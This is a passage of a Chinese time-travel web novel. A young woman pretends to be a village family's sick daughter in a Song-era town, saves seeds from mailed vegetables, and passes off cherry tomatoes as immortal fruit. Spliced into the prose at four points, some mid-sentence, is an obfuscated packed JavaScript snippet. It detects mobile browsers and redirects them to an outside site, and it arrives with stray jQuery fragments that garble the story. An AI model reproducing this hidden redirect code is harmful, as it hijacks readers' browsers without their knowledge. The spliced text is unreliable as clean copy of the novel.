“仙子说的那樱珠不就是樱桃?”一个忍不住道。 “你没看着比樱桃大好多,果子又亮又好看。”一个说道。 “神仙的东西哎,能和咱们的一样?”有人嗤道。 “仙子说要送仙果呢,不知道谁能得到。”又有一个人道,声音里带了难掩的渴望,“要是我有这个福气就好了。” “就你,想屁吃呢。”旁边人笑骂。 一众人哄笑着,四下散去。 钱嬷嬷带着陈青青慢慢走着,听了这句也笑了起来。 “谁有这福气哟!”钱嬷嬷叹一句,又朝陈青青道:“也不知道你爹娘他们现在怎么样了,回来了没有。” “哎,都不容易呀!”也不指望陈青青回答,钱嬷嬷兀自叹着,一面唠叨一面走。 陈青青注意到了,这里的女子都是大脚,不裹脚。 万幸,万幸,若是穿到了个裹脚的朝代可就受老罪了。 钱嬷嬷嘟嘟囔囔地说着,陈青青也不吱声。反正是人傻了嘛,就贯彻到底。 钱嬷嬷也不指望陈青青回答,只是习惯了说些话而已。 这一路上倒叫陈青青知道了不少的信息。 原来自己穿来的这家也姓陈,家里就一个闺女,和自己名字一样,也叫青青,应该就是自己穿的这人了。 陈家日子原本过得不错,两口子都在城里有活做。哪知一朝闺女得了病,家底子都掏空了,只得回了老家过活。 两口子疼闺女,看了仙子说的仙果,一想要进山去找,说是要找给闺女治病的药。这都好多天了,还没回来。 “不是嬷嬷说呀,你爹娘是太疼你了。这回去了山里,也不知道怎么样。”钱嬷嬷还是觉得陈家两口子对闺女好得太过头了,不就一个小丫头片子嘛。又一想若是自己的孩子,好歹是自己身上掉下的肉,怎么着也要管,便讪讪地住了口。 回到陈家,钱嬷嬷到厨房里简单做了点饭,端来给陈青青,“你吃了,别饿着,要不你娘该心疼了。” “我先回去了,家里还有一摊子事呢。”钱嬷嬷嘟囔着,拍拍身上的衣裳,回去了。 看着钱嬷嬷关了院子门离开了,陈青青这才长出了一口气,自在了许多。幸亏自己只需要扮傻不说话就蒙混过去了,要不就怕会露馅。 钱嬷嬷做的饭一看就不好吃,一碗很稠的粥的模样。陈青青也没觉着饿,还是先看看这个家再说吧。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178933|180861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >正屋这几间陈青青都看过,西侧厢房是杂物间,东边的是厨房。 正屋后面还有个院,陈青青像是发现了新大陆一般,沿着过道走了过去。 后院是挺大一片地,一样是枳树为篱,又间杂着其他的树。菜畦很是整齐,看得出用心打理过。 靠篱墙边有三四棵很是高大的树,一棵是玉兰,一棵是樱桃树,满树的花骨朵含苞欲放,靠墙的树看着像是杏树,也是满树满枝的花蕾。 想必不久就会开出一树一树的花来。 陈青青也畅想过,以后老了有个小院,种一院子花和树的生活,倒没想到这么快就实现了。 挺不错的地方,应该能种很多的菜,要是妈妈看了肯定喜欢这片地。看着这片地陈青青点头称赞。 想到妈妈,陈青青一时又有些黯然,也不知道爸爸妈妈现在怎么样了。 又突地想起了和自己一起过来的大箱子,陈青青一时也顾不得别的,先看看妈妈寄的是什么再说。 奔到前院,把院门关好。陈青青还是有些不放心,又把大门在里面锁上了,省得自己翻东西的时候有人进来。 到了西厢房,拖出藏着的快递箱子。一打开箱子,陈青青忍不住惊呼一声,“妈妈呀!” 这是给我寄了多少东西! 原来,田女士想闺女了,想要回城里住些天陪陪闺女犒劳犒劳她,就打包了些蔬菜水果先寄了回来。 嚯!嚯!陈青青翻出一样便叹一声。 真真正正的一大箱!陈青青看了看,有土豆,红萝卜,圣女果,辣椒还分了红辣椒和青辣椒两种,最后又掏出了一袋子花生,六个玉米棒子! 妈呀,这是要去我那儿开饭店呀!陈青青想起妈妈,一时又悲从中来,可是我再也见不到妈妈了! 忍不住趴在了箱子上,掉下了眼泪。 难过半天,看看四周,还呆在原地,陈青青擦了擦眼泪。从穿到这儿起,陈青青都一直以为自己有可能一转眼就又回去了。可惜再怎么想,还是在这不知名的古代,陈青青有些失望,难道我是真回不去了? 收拾一下心情,还是先想想怎么处理眼前这些东西吧。 土豆和花生能放时间久一些,辣椒、红萝卜还有玉米棒稍微放一放也可以,只有圣女果,放时间久了不行,要先吃了才好。 快递箱子也要先处理了才行。 陈青青说干就干,先把箱子撕碎了藏到了柴火堆里,要找个机会烧了才行。 圣女果先吃了,其他的便藏在西厢房里。 到了厨房,看看水缸里还有大半缸水,也不知道要不要去很远的地方挑水。陈青青知道,古代人可都是挑水吃的,自己这小身子板不知能不能行。 舀了水洗了圣女果,便开吃吧。 吃着圣女果,陈青青突然灵光一闪,心一下砰砰跳得厉害! 5. 希望的种子 圣女果!刚才自己被投在石壁上直播可说了,要送圣女果,以至于被这里的人误以为什么仙子要送仙果。 那么自己是不是能以此为由,就说自己家里得到了仙果,然后这傻病就好了呢! 也不能顶着傻子的名头就这样活下去不是。 转又想起,陈家的两口子都上山找药去了,等他们回来了就说是在山里找到的仙果。 陈青青越想越觉得这法子越可行,忙把圣女果挑了又挑,把果实硬一点,不那么红,看着还不够熟的先捡出来放着。现在天也凉,应该能存到这家人回来。 收好了圣女果,陈青青又想到了自己带来的这些东西。 也不知道现在是什么朝代,花生、土豆什么的传了进来没有,有没有种植。 若是此时这里还没有,那自己带来的这些,岂不是一个巨大又巨大的金手指! 这里看着像是宋朝的模样,应该没有这些东西。就算有,原始的品种也没有后世农业科学家们培育的品种好! 哈哈哈!陈青青不禁大笑几声,真真是天无绝人之路也! 小心挑出了一些最红的圣女果,把种子抠了出来,又找块了纸箱子的碎片,把种子涂在了上面。 陈青青看过介绍,菜农保存种子就是这样的,当然更原始的方法是直接糊在土墙上。 陈青青看看身边的土墙,倒也合适,就是种子太珍贵了,容不得这样随意。 弄完了圣女果的种子,又把辣椒拿了出来。 红辣椒倒是成熟了,种子也成熟饱满,绿色辣椒就差了许多,种子也是瘪的,不知道能不能种。 还有玉米棒子也有些嫩,挑出看起来最老成的,这个做种子要晒干。 记得听爸爸说过,土豆切成带牙的小块就可以种,花生米可以直接种,至于红萝卜好像是要栽到地里,让它抽苔开花结种子。 陈青青边有条不紊地弄着种子,边庆幸有爱种地的爸妈,自己多多少少也知道些农业知识,要不对着这些种子也是干瞪眼,白白暴殄天物。 虽然这些都只是理论知识,自己没实践过。可知道了理论,实践起来就不会抓瞎。再说了自己再小心求证,有这么些种子呢,总能种出一两样来。 有这一两样,也就可以了。 老天还是待我不薄! 从小相信科学的陈青青,第一回真心实意地朝天空双手合十,拜了又拜。虽然不知道为什么了来了这里,可总算还好,有那么一线生机,不至于太叫人绝望。 忙起来不觉时间就过去了。 眼看着天色不早,怕钱嬷嬷还会过来,陈青青忙把东西都收拾好藏了起来。又把院门恢复到原来的样子,坐在屋门里面发起呆来。 果真,晚些时候钱嬷嬷又来了陈家。 见陈青青坐在那里发呆,只长叹了一声。 又看做好的午食陈青青也没吃,便问她:“怎么不吃东西?” 转又哼一声,“知道我做的没有你娘做的好吃,她原来在城里食肆帮厨,有手艺。” “可你也得吃呀,别到时你娘回来又埋怨我对你不好。” 钱嬷嬷一面说着,一面把那碗粥样的饭热了热,又烧了些热水。 “你把饭吃了,有热水便洗洗睡吧。” 知道陈青青虽然人有些傻了,但这基本的生活还是能自理,钱嬷嬷把饭端过来,交待一番又自家去了。家里老老少少一大摊子事,还有的忙。 陈青青看她走了,去锁了院门。看看树篱,虽然也一人多高很密实,枝上又有刺,可看着还是不那么安全。 以后有钱了高低得来个高墙大院,陈青青暗暗想着,又感慨一番,也不知道是这里民风淳朴,还是陈家两口子心大,把个傻闺女自己撂家里也放心。 看看那碗粥,陈青青实在吃不下去,便把两个嫩玉米棒找了出来,做这个简单,放水里煮一煮就好了。 进了厨房,还好,有口大铁锅。 陈青青越发坚定,这里最起码应该是宋朝,不会是再朝前的朝代了。从宋朝开始铁锅才开始出现,陈青青很确定这一点。前阵子总编可是下了任务,要做宋朝美食专版,陈青青很是下功夫啃了一番资料。 看来这家人还是有点家底的,要不也置办不起铁锅。在知道在古代,铁可是紧俏物品。 要是老妈给我寄几口大铁锅岂不是发了! 陈青青边想边又啐自己一口,真是不知足。那一大箱子的种子还不满足,真是人心不足! 锅里还有刚才钱嬷嬷烧的热水,陈青青看旁边有个陶罐,外面还有布做的套子,想来是当作暖壶用的。一旁还有水瓢,用来舀水的。 一看水瓢,陈青青乐了。这我认识,是葫芦做的。古籍中最早称瓠、匏和壶,因葫芦籽众多,又谐音“护禄”“福禄”,很得人们喜爱。 有一年爸爸在菜园里专门种过,一种是做水瓢的葫芦,一种是那种专门用来盘的亚腰小葫芦。对,就是葫芦娃那种,陈青青还笑爸爸,当心种出七个来叫你爷爷。 陈青青想着要不自己干脆也种上几棵葫芦,万一再结出七个葫芦呢,就万事不用愁了。 嘿嘿傻乐一会,陈青青舀了水,开始生火煮玉米。 柴火灶陈青青见过,但是没烧过。 刚想摸索着烧灶,又被生火难住了,在古代没有火柴也没的打火机,总不能钻木取火吧。 又四处看了半天,找到了火折子。 得亏陈青青啃过古代的资料,知道火折子的样子和用法,又跟着老爸用土炉子烤过红薯,这才费半天劲把火烧了起来。 别的先不烧,先把快递箱子烧了,“毁尸灭迹”。 看着纸箱子在灶膛中化为灰烬,陈青青不免又是一阵感慨。好在她是看得开的人,用田女士的话说就是傻乐呵。 吃过晚饭,不对,这里叫做暮食。陈青青告诉自己,如今穿到了这里,要入乡随俗,不能露了马脚。 看看天色不早了,干脆洗漱一下睡觉得了。不然等会儿天黑了还得点灯费蜡的不说,四下黑漆漆的怪吓人,不如早些收拾了。 只可惜洗漱的东西一概没有,陈青青只得胡乱洗了,想着以后找机会得去买一些来。 西屋里应该是原本陈家闺女住的屋子,陈青青便睡到了西屋里。 关好门,把外面的棉衣脱了,躺在床上。天还是有些凉意,好在床 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178934|180861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的铺盖还挺暖和,看来这是个真疼闺女的人家。 陈青青把今天的事想了又想。 如今自己穿来了,也不知道原来那个去了哪里?可自己分明是身穿过来的,这又是怎么回事? 想想头都大了,陈青青甚至怀疑自己是做了一场梦,明天梦醒过来,就一切回到了原样,又能回到原来的地方,又能见到爸妈了。 又感念亏得父母这样疼爱自己,把自己养成了乐呵的性子,要不一下穿到这里,愁也愁死了。 迷迷瞪瞪地睡了过去,再醒过来,天光已经放亮了。 陈青青以为自己会辗转难眠,没承想倒睡了个好觉。四下看看,还是昨天的地方——不是做梦,是真穿越了。 起身穿好衣裳,开了屋门。 天光大亮,东边天空红彤彤一片,是太阳快要升起来了。 又是一个好天气! 风吹过来,已带了些微的暖意。陈青青伸个懒腰,幸好现在都已经是春天了,要是冬天穿过来的话,冻也冻死人了。 把昨天弄好的种子,小心端到后院,找了个隐蔽的地方晒着。这可关乎着以后的生活,要仔细些。 胡乱洗了把脸,陈青青便又坐在门口看着院子发呆。 反正也没什么事干。 院子里那丛南天烛随风摇曳着暗红的叶子,枝头的红果子煞是可爱。 爸爸也在院子里种了这么一丛。冬天结了果子,爸爸会连叶带果剪下许多枝来,插在瓶子里。 “这在古代,可是上好的岁朝清供之品。”陈先生喜欢养花莳?,不管是家里还是菜园那边,都收拾得像花园。 “对对,爸爸您最清雅了。”陈青青这样回他。 想到爸爸,陈青青不免心情低落下来。 再发一会呆,太阳便升起来了。 钱嬷嬷估计快来了。 陈青青去把院子门打开了,探头朝外面看了看。 外面路倒是宽,再朝前是条河。河面还算宽广,再朝南面便是大片的田地了。 河岸杨柳依依,很有春的况味。 陈青青打算出去看看,想想还是算了吧。顶着个傻子的名头,还是老实些吧。 陈青青又缩了回来,干脆绕着前后院跑几圈得了,又打发时间又锻炼了身体。在古代可不能轻易生病,眼前不就是活生生的例子。 跑了几圈,歇息一会儿,钱嬷嬷便来了。 看陈青青老老实实坐在那里,钱嬷嬷满意地点点头。上前把陈青青拉进屋里,叫她坐好,又把镜子塞到她手里,说是要教她梳头。 “你这么大了,要学会这些,也不能光让你娘操心才是。”钱嬷嬷其实很有些不忿,田娘子太惯孩子了,这么大了就不能由着她什么都不干。 看着也没那么傻嘛,我就不信教不会。 钱嬷嬷哪里知道,眼前这个早已换了人。 “你娘也不知道什么时候回来。那个山可不是好进的,那是神仙山,要是得罪了神仙,可……”钱嬷嬷说着又住了口,到底没再说下去。 陈青青拿着镜子正用心看着她怎么挽头发,听她这样说不禁奇怪,难道那山里还有什么古怪不成! 6. 仙子的仙果 钱嬷嬷做的饭永远一个样,熬粥。 陈青青不知道是她只会做这一样饭,还是陈家只给了她做这种饭的食材,稠一点稀一点,反正都是粥。 陈青青差点没忍住要说她,换换吧,拜托。 只好趁她回去的时候,陈青青再弄点吃的填补肚子一下。 陈家的东西不敢动,怕被发现露了馅,只能打自己带来东西的主意了。 最嫩的玉米吃了,剩下两个看起来能做种子的。土豆也煮着吃了三个,其余的再也不舍得吃了。圣女果留下几个,其余的抠出种子也都吃了。花生也吃了几个,其余做种子用。 这些种子可关系到后面的幸福生活,万不敢大意。 陈青青觉得有些撑不下去了。不说别的,只吃的就难住了她。 天大地大吃饭最大,陈青青好想念以前啊! 不用说什么美食了,就算现在给她两个大馒头,陈青青也会觉得是山珍海味,抱着啃不撒手! 陈青青真有些急了,陈家人不回来,难道自己就这样一直下去不成! 三天了,已经来这里三天了。 眼看着过了晌,一天又要过去了,陈青青急得在院子里打转。 突然听有人在院外面大声喊:“青娘,陈青青啊……” 紧接着院门就被打开了,一个年轻妇人在外面招手,“青娘你快来!” 看陈青青慢吞吞的样子,那妇人竟跑进了院子,拉着陈青青的手就朝外面奔。 不是,这是要干什么! 古代的人贩子都这么猖狂,明着抢人了? 陈青青一时不防备竟被她拉出了院子,正要挣扎,就见不远处钱嬷嬷也跑了过来。 “快,去孙大夫那里……都去了那……”钱嬷嬷跑得有些气喘。 钱嬷嬷边跑过招呼着两个人。 “好好!”年轻妇人猛点头,拉着陈青青跑更快了。 看到钱嬷嬷,陈青青放下心来,不是人贩子就好,便随着那妇人拉着自己了。 “青娘你别怕……没事儿……”妇人边跑还边安慰她。 不是,我都不知道是什么事,姐姐,你跑得都大喘气了,还是先别说了吧。 穿过一条街,再过了两条巷子,妇人才渐渐慢了下来。 陈青青远远便看到了一家门前围满了人。 走近了,却是一堆人正围着个躺着的人。看到陈青青她们过来了,人们都同情地看着陈青青,给她让出了空。 陈青青看清楚了,地上门板上躺着个男人,四十多岁的模样,身上脸上连泥带血的不成样子。 “青青!”男人身旁的一个妇人看到了陈青青,竟上前抓住她的手,大哭了起来。 陈青青懵懵的,却被这妇人哭得有些心酸。 “田娘子,孙大夫怎么说?”钱嬷嬷也赶了过来,问哭着的妇人。 田娘子摇摇头,擦擦眼泪,却怎么也擦不干。 “怎么会这样哟!”钱嬷嬷叹一声。 正说着,又有人快步走了过来。 “里正。”“二叔。” 旁边的人上前打招呼。 原来这位是里正。陈青青看了看,是位五十岁左右的男人,看起来倒有些威严。 “田娘子,事到如今,先把大郎抬回家里。”里正说着,叫旁边几个人抬起了门板。 田娘子如今半点主意也没有,只知道哭了。 一行人抬着陈大郎回了陈家。 田娘子拉着陈青青的手,抹着泪跟在后面。 陈青青慢慢理出点头绪来,应该是陈大郎在山里出了事,看样子是救不成了。 一时间又想到了自己的爸爸,心里也是酸酸的。 进了家门,把人放在正屋地上,陈大郎此时已是出气多,进气少,眼看着人就不行了。 里正也跟了过来,又有听到消息的乡亲们也陆续过来。看看陈大郎的样子,都摇头叹息。 看田娘子只一味的哭,不理事的样子。里正叹口气,“看这样子,该准备的就准备吧。” 里正发了话,大伙搬东西拾缀屋子忙了起来。 陈青青心里明白,这是人不行了打算办丧事了。 钱嬷嬷拉着田娘子,劝她几句,又叫她给陈大郎把脸擦洗擦洗。 田娘子泪眼婆娑地打水擦洗,等陈大郎的脸露出真实面貌,倒把陈青青吓了一跳,眼泪竟忍不住流了下来。 这陈大郎分明就是爸爸的模样! 虽然发型变了,脸也像是年轻了些,可这就是爸爸的样子! 陈青青看着躺在那里的人,心怦怦跳得厉害,您可不能这样就没了,快醒过来告诉我是怎么回事! 钱嬷嬷看陈青青直掉眼泪,伸手揽了揽她的肩膀,“可怜的孩子,谁说你傻的……” 夕阳快要下山的时候,陈大郎还是去了,永远地闭上了眼睛。 田娘子哭得昏死过去,众人又忙着叫她。 陈青青眼都哭红了。钱嬷嬷在在旁边一个劲地叮嘱她,“好孩子,你可别把眼泪掉你爹爹身上。” 陈家没有近支,只有远支旁系,关系不算太近。 也有平日里受过陈大郎帮助的人自动上门来帮忙,倒不好叫人家给守夜。晚上守灵,也只有田娘子和陈青青两个人。 第一回这样近距离地看一个死去的人,陈青青却没有半点害怕。 恍惚中,似是看到爸爸走了过来,笑着说道:“青青,好闺女。爸爸来看看你,知道你在这里,我和你妈妈就放心了。爸爸妈妈不在身边,你照顾好自己。别怕,要好好的!” “爸!”看着爸爸越走越远,陈青青急得大喊,要走也要带我一起走呀,我不要在这样的地方! 陈青青一下醒了过来,原来是自己靠在墙边打了个盹,睡着了。 屋里一灯如豆,晕出昏黄的点点光来。 陈青青突然悲从中来,忍不住哭出声来。田娘子被哭声惊醒,过来搂着陈青青也哭了出来。 陈大郞下葬的时候,很多人来送他,都是平常受过他帮助的人。 和陈大郎一起上山的刘大郎也来了,哭得特别伤心,“陈大哥是为了救我才这样的,这份恩情,我刘有年就算拿命来也要报答。” 刘大郎如起誓般磕了响头。 送走了陈大郎,田娘子的心气好像也随着走了,人也不活泛了,有些呆呆的。 陈青青仔细看了,田娘子和妈妈也是有些像的,正好也姓田,而陈大郎的名字陈彦升,竟也和爸爸的名字音同字不同罢了。不禁暗叹,难道自己穿到这里竟是冥冥中自有天意? 算了,不管到底为何穿到了这里,要好好活着。爸爸也是这样叮嘱自己的。 想到爸爸,陈青青不禁又湿了眼眶。 自己不能一直顶着个傻子的名头活着,是得想法子改变了。 陈青青拿出了自己藏着的圣女果,虽然过好有几天了,挑出来的这几个倒也没怎么变样,还是红得可爱又好看。 田娘子看到圣女果,眼都亮了,“是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178935|180861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就是这个,是你爹爹上山找到的。你快吃,你快吃了呀……” 田娘子拿起圣女果就要朝陈青青嘴里送。 也是田娘子救女心切,又一时悲痛失了心智,竟然真以为是自己和官人去山里找到了“仙果”。 “你都吃了。”田娘子目光殷切地看着闺女,半点没想到自己尝一个。 陈青青也不推辞,索性把专门留下的这几个都吃了下去。对,消灭证据! 看着闺女把仙果都吃了,田娘子放了心,露出了这几天来的第一个笑容。 又突地想起了什么,找了又找,拿出一个破布包着的东西来,“这是我和你爹爹上山挖到的,你好好存着。要不你一起吃了吧,这个有用……” 陈青青打开了布包,里面竟是一棵人参!看样子有不少年头了,这可是好东西! 陈青青摇摇头,表示不吃。又原样把人参包好,递了回去。 田娘子不收,又把人参推了过来,“你收着,这是你爹爹拿命换的,给你。” 陈青青看看她那样子,想了一下便把人参接了过来。行,看她人也有点呆了,还是我收着吧。 陈青青收好了人参,田娘子便说要做饭给闺女吃。 陈青青心里一喜,知道这田娘子原来在城里的食肆帮厨,不由对她的手艺有些期待,再怎么着也该比钱嬷嬷的粥强。 “今儿做汤饼。”田娘子说着便行动起来。 田娘子看着不多白面,下意识地摇下头,还是把面到盆里开始和面。 田娘子虽然人有些呆了,做起事来却很是麻利。 陈青青看着她的动作,突然想起来了,她说的做汤饼应该是做面条。 对,宋朝就是把面条叫做汤饼的。 陈青青越发认定自己是穿到了宋朝。 宋朝不错,据说宋朝的汴京是当时世界上最发达的城市,富丽繁华。 自己岂不是有机会亲眼见见《清明上河图》中描绘的情景! 那可真是好! 陈青青坐在那里边畅想边等饭。 对了,这面条要是做成葱油面可就更有味了。 妈妈做葱油面很拿手,陈青青喜欢吃,当然也会做。 顾名思义,葱油面的灵魂就是炸葱油。 香葱切寸许长的段,油八成热,中小火煸炒,熬至葱段金黄,质地变脆时就可以了。当然也可以根据自己的口味加上其他的调料,可以加姜,加八角,加香菜。 葱油呈琥珀色,香气浓郁,带着葱香倒进面条里那么一拌,真是动人魂魄,沁人心脾! 陈青青想着,口水都快流出来了。可惜自己不能做上一做,等以后有机会了一定要来一做上一碗葱油面解解馋! 不对,葱油面有这么好吃?一定是自己这些天吃得太寡淡,馋得厉害了。 田娘子把面端上来,“快吃吧。” 陈青青确实饿了馋了,也不客气就开动了。 田娘子的手艺还真不错,虽然没有妈妈做的好吃,但也不错了,再说了也有材料上的限制不是,做成这样,可以! 田娘子看着闺女吃得起劲,心里也高兴,“青青,慢点吃。” “你爹爹也最爱吃我做的汤饼……” 话还没说完,想起去世的陈大郞,田娘子不禁又落下泪来。 “你别难过……”陈青青也不知怎么劝才好,只支吾了这一句。 倒把田娘子一惊,一时也忘了别的,只瞅着陈青青道:“青青,你……你好了?” 7. 得遇仙缘 “你真的好了?”田娘子一把抓住了陈青青的胳膊,又问一句。 倒把陈青青问愣了,糟糕,一时忘了这茬了。 “娘做的面好吃。”陈青青只得又胡乱说一句,显得突然好了又没有一下子全好的样子。 “老天保估!仙子保估!”田娘子喜极而泣,不知道说什么好,只一个劲地说这个保佑那个保估起来。 又跌跌撞撞地跑到正屋,在陈大郞的灵位前上了一柱香,“官人,闺女她好了,闺女她好了……” 陈青青也跟着到了正屋,看田娘子这样子,也不禁鼻子有些酸。 “是吃了那果子好的。”陈青青和田娘子说着,又朝灵位合十行礼,到底要借您老的名头了,请别见怪。 对,一定是吃那果子好的。田娘子恍惚记得官人好像真摘了果子回来,红红的小果子。 这一定是仙子给的果子,闺女一吃就好了。 可闺女好了,却是官人拿命换来的。 田娘子一喜一悲,万般滋味在心头。 再看看官人的灵位,险些哭出声来。 陈青青忙劝她,“你别太难过了。以后我孝敬你。” 听了闺女的话,田娘子不禁放大悲声,一把抱过闺女,哭道:“要是你爹爹在,看到你好了,该有多好……” 可惜人死不能复生。 陈青青最看不得人哭,又想起夜里做的梦,想想自己可能再也见不到爸妈了,也哭了起来。 两人哭了半天,还是田娘子先醒过神来,担心闺女刚好起来,再哭坏了。忙又劝她:“好孩子,别哭了。” “爹爹走了,还有娘在。” 陈青青被田娘子揽在怀里,轻轻拍着后背,一时感觉像是在妈妈的怀中。 “娘!”陈青青喊一声娘,认下了这个古代的妈妈。 “哎……”田娘子慌忙答应着,多少年了,闺女又能喊娘了,真好。 很快附近的街坊们都知道了,陈家小娘子好了。这可是个好事儿,也是奇事儿,谁能想到病傻了的小娘子竟真能好起来。 一时间,陈家的院子里人来人往,都是来看陈青青的。 钱嬷嬷来得最早,进门便问:“田娘子,田娘子,青娘真的好了?” 田娘子迎了出来,“真的好了。” 又叫陈青青过来喊人。 “嬷嬷。”陈青青从善如流。以前逢年过节,跟着爸妈后面喊人的事可没少干,这事陈青青有经验。 “好,好。”钱嬷嬷上下打量一下,“我就说这丫头是有福的,不会一直那样。” 闲说几句,钱嬷嬷又走了,来去一阵风一样。 亏得她身板好。陈青青看着她离开的背影不免感叹。 陆陆续续又有人来,陈青青像个吉祥物般被观看,还要在田娘子身后喊人。 好在除了喊人也不用陈青青说什么,也算轻松。 一天下来,田娘子有些吃不消了。 特别还有人一个劲打听仙果的事,早知就不说闺女是吃仙果好的了。 又记起钱嬷嬷说明儿就是仙子出现的日子了,可得好好去拜拜。 田娘子和陈青青两个人去牛蹄石的时候,石头前已经聚集了许多人,田娘子故意来得晚一点,就怕被人问三问四。 什么午时三刻,可真会挑时间点,又不是杀人,这是直播。 也不知道是谁挑了这么个时候。陈青青暗暗嘀咕,却发现今天的“直播现场”有点不一样。对,气氛有些微妙。 很快就有人凑过来给她们解惑了,“田娘子,你们才来呀。”一位和田娘子差不多年纪的妇人走过来,压低声音道。 陈青青认出来了,这是昨天去过家里的人,像是叫什么于娘子。 “知道不,今儿有官差过来。听说是宫里也知道了神幕的事,官家差人来看看呢。” 于娘子声压得低,说得却很清楚。 原来是这样,怪不多了许多看着不像镇上的人。陈青青四下看看,远处的那些人应该就是官差了。再看四周还有很多应该是外地赶过来的人,真是神仙动人心呀! 也有人看到田娘子她们两个,朝娘俩这边走过来。 又来了,又来了,她们带着汹涌的八卦心来了。陈青青看着渐渐聚过来的人,果然不论古今,人人爱吃瓜。 不过也没能说几句话,因为时辰到了。 石壁上光幕闪过,直播又出现了。 众人呼啦啦地跪了下来,陈青青看出来了,田娘子跪得最真诚。 田娘子跪在那里,念念有词:“多谢神仙保佑……多谢仙子赐下仙果……” 偏巧不巧,这回直播陈青青还真反馈了抽粉丝送圣女果的事。 “感谢各位,主播送出的圣女果不知道收到了没有?请各位继续支持我哦。” 甜美的女声轻描淡写,却不知石壁前拜神仙的众人有多震惊。 原来仙子真送仙果了! 难道陈家小娘子真是吃仙果好的? 这陈小娘子得遇仙缘了? 众人神仙都没心思拜了,眼光都止不住的朝陈青青这里瞅。 真是如芒在背。陈青青一听直播间里的话,就知道这里的人对吃仙果病好了的事又好奇了几分。 可惜他们看不到,公屏上的回复。 陈谷子姓陈:【主播送的圣女果我收到了,好吃极了。】 这位姓陈的网友一下子受到了直播间里众人的追捧。 【这运气,无敌了!】 【我也姓陈,怎么不送给我……】 【预定下回的送的水果!】 这句一出,公屏上全是预定的话。 主播陈青青乐了,笑道:“原来姓陈的朋友收到了圣女果,感谢支持!” 石壁前的陈青青一听就知要糟,这不坐实了仙果的事了么! 本来陈青青只打算用仙果糊弄一下陈家人,好顺理成章好起来,不用总要装个傻子。 可一点也没想闹这么大。 什么得遇仙缘,什么仙人赐仙果的,那是话本子的故事,真要到现实中,那可不太妙。 陈青青心里想着事,石壁上的直播也没心思看了。 当然也不用看,都是自己播的。 这期直播也记得,前面说的是黄瓜,后面说的是薯条。 咳!这都什么搭配呀! 众人倒是看得津津有味。边看心里还挺美,原来神仙吃的东西,咱们这里也有呀。黄瓜看着不就是胡瓜! 那花瓜顶花带刺的,又绿又嫩,神仙的东西就是比凡间的好! 薯条是什么却又看不懂了,甭管是什么做的,神仙的东西就是叫人开眼。 别说众人了,那些个官差也被惊住了。 都听下面上报说石壁上有了神幕,没想到意是这么震撼的神迹。 叫人不由得不下拜。 待光幕闪过,神迹再无踪影,仍旧是灰扑扑的石壁,众人方回过神来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178936|180861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “启禀府尹,这确实是神迹,下官也觉乃祥瑞也。” 站在边上的穿绯色官服者朝正中间着紫色官服的府尹道。 府尹点点头,“希仁此言有理,等我回去向官家细说。” 绯衣者又道:“那个传闻得遇仙缘的陈家人,府尹可要一见?” 府尹顿一顿,点点头,“要不见见?” 早有人安排了下去,不一会田娘子和陈青青便被带了过来。 陈青青一听说府尹要见她们娘俩,也是惊了一吓,不知人家是什么意思。 有人领着她们,远远地朝府尹磕头行礼。 哎,古代就这不好,阶级分明,见人得下跪。陈青青暗自吐槽,跟着田娘子跪了下来。 府尹远远扫了那么一眼,看母女俩面带菜色的样子,又听身边人说这家子的男人刚没了,一时生了几分怜悯心,吩咐人取了些钱来赏她们,便挥手叫两人退下了。 陈青青倒是高兴,这当官的不错,还知道赏钱,这可比说些虚头巴脑的话强太多了! 谢恩的头陈青青倒磕得真心了许多。 拿着赏钱,田娘子和陈青青两人慢慢朝回走。一时间,她俩周围聚上来好多人。 “田娘子,你们得赏钱了?” “陈小娘子真是吃仙果好的?” “你们在山里采到的仙果?” …… 七嘴八舌,不外是两个问题,你们得了多少钱?怎么才能得到仙果? 田娘子一时也不知道回答哪个好。 陈青青看一眼围过来的人,索性把得到的赏钱亮了出来。 陈青青早就掂量过了,那位府尹给的赏钱不多,藏着掖着的话还不如敞开了给别人看看,省得老有人惦记,不知道自家得了多少钱。 